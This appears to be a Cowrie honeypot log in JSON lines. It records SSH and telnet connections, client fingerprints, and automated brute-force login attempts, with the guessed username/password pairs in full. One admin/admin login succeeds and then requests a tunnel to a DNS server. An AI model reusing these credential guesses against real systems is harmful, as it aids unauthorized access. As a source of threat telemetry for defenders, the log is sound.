{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:09.163237Z","src_ip":"91.92.42.227","session":"af7bb558505f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer0987","message":"login attempt [root/qwer0987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:09.685624Z","src_ip":"103.27.238.114","session":"bfefd6bb0297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:10.946728Z","src_ip":"103.27.238.114","session":"bfefd6bb0297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40287,"dst_ip":"159.203.135.109","dst_port":22,"session":"3720088f2c47","protocol":"ssh","message":"New connection: 168.167.228.74:40287 (159.203.135.109:22) [session: 3720088f2c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:11.209906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:11.213946Z","src_ip":"168.167.228.74","session":"3720088f2c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:11.464226Z","src_ip":"168.167.228.74","session":"3720088f2c47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:12.143335Z","src_ip":"91.92.42.227","session":"af7bb558505f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123456789","message":"login attempt [root/qazwsx123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:12.519407Z","src_ip":"168.167.228.74","session":"3720088f2c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42434,"dst_ip":"159.203.135.109","dst_port":23,"session":"124f9acedbd8","protocol":"telnet","message":"New connection: 128.199.8.54:42434 (159.203.135.109:23) [session: 124f9acedbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:12.685661Z"}
{"eventid":"cowrie.session.closed","duration":0.004894256591796875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:12.690422Z","src_ip":"128.199.8.54","session":"124f9acedbd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:13.773045Z","src_ip":"168.167.228.74","session":"3720088f2c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.072914123535156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:14.170268Z","src_ip":"102.37.220.188","session":"0c37c96dcca0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:14.240060Z","src_ip":"91.92.42.227","session":"af7bb558505f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35926,"dst_ip":"10.17.0.5","dst_port":22,"session":"85150f708db0","protocol":"ssh","message":"New connection: 91.92.42.227:35926 (10.17.0.5:22) [session: 85150f708db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:15.834356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:16.305439Z","src_ip":"91.92.42.227","session":"85150f708db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:16.308547Z","src_ip":"91.92.42.227","session":"85150f708db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:17.793326Z","src_ip":"91.92.42.227","session":"85150f708db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:19.062508Z","src_ip":"91.92.42.227","session":"85150f708db0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35994,"dst_ip":"10.17.0.5","dst_port":22,"session":"c640cb5ca9e2","protocol":"ssh","message":"New connection: 91.92.42.227:35994 (10.17.0.5:22) [session: c640cb5ca9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:23.540940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:23.589761Z","src_ip":"91.92.42.227","session":"c640cb5ca9e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:23.683861Z","src_ip":"91.92.42.227","session":"c640cb5ca9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"root","message":"login attempt [gitlab/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:24.154299Z","src_ip":"91.92.42.227","session":"c640cb5ca9e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8018,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b88553e13c3","protocol":"ssh","message":"New connection: 87.251.64.176:8018 (10.17.0.5:22) [session: 4b88553e13c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:25.375437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:25.379006Z","src_ip":"87.251.64.176","session":"4b88553e13c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:25.414637Z","src_ip":"91.92.42.227","session":"c640cb5ca9e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:25.472939Z","src_ip":"87.251.64.176","session":"4b88553e13c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:25.757111Z","src_ip":"87.251.64.176","session":"4b88553e13c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:25.853778Z","session":"4b88553e13c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:25.950311Z","src_ip":"87.251.64.176","session":"4b88553e13c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:26.047825Z","src_ip":"87.251.64.176","session":"4b88553e13c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60722,"dst_ip":"10.17.0.5","dst_port":22,"session":"99bf1b2a0832","protocol":"ssh","message":"New connection: 91.92.42.227:60722 (10.17.0.5:22) [session: 99bf1b2a0832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:30.221787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:30.430633Z","src_ip":"91.92.42.227","session":"99bf1b2a0832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:30.433506Z","src_ip":"91.92.42.227","session":"99bf1b2a0832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"1qaz2wsx","message":"login attempt [core/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:31.859686Z","src_ip":"91.92.42.227","session":"99bf1b2a0832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:33.340127Z","src_ip":"91.92.42.227","session":"99bf1b2a0832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49914,"dst_ip":"10.17.0.5","dst_port":22,"session":"59184fae592a","protocol":"ssh","message":"New connection: 91.92.42.227:49914 (10.17.0.5:22) [session: 59184fae592a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:37.401753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:37.734408Z","src_ip":"91.92.42.227","session":"59184fae592a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:37.737878Z","src_ip":"91.92.42.227","session":"59184fae592a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"!Q2w3e4r","message":"login attempt [deploy/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:38.769897Z","src_ip":"91.92.42.227","session":"59184fae592a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:40.098867Z","src_ip":"91.92.42.227","session":"59184fae592a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49982,"dst_ip":"10.17.0.5","dst_port":22,"session":"202c2d7f86e4","protocol":"ssh","message":"New connection: 91.92.42.227:49982 (10.17.0.5:22) [session: 202c2d7f86e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:43.977066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:44.275814Z","src_ip":"91.92.42.227","session":"202c2d7f86e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:44.278836Z","src_ip":"91.92.42.227","session":"202c2d7f86e4","protocol":"ssh"}
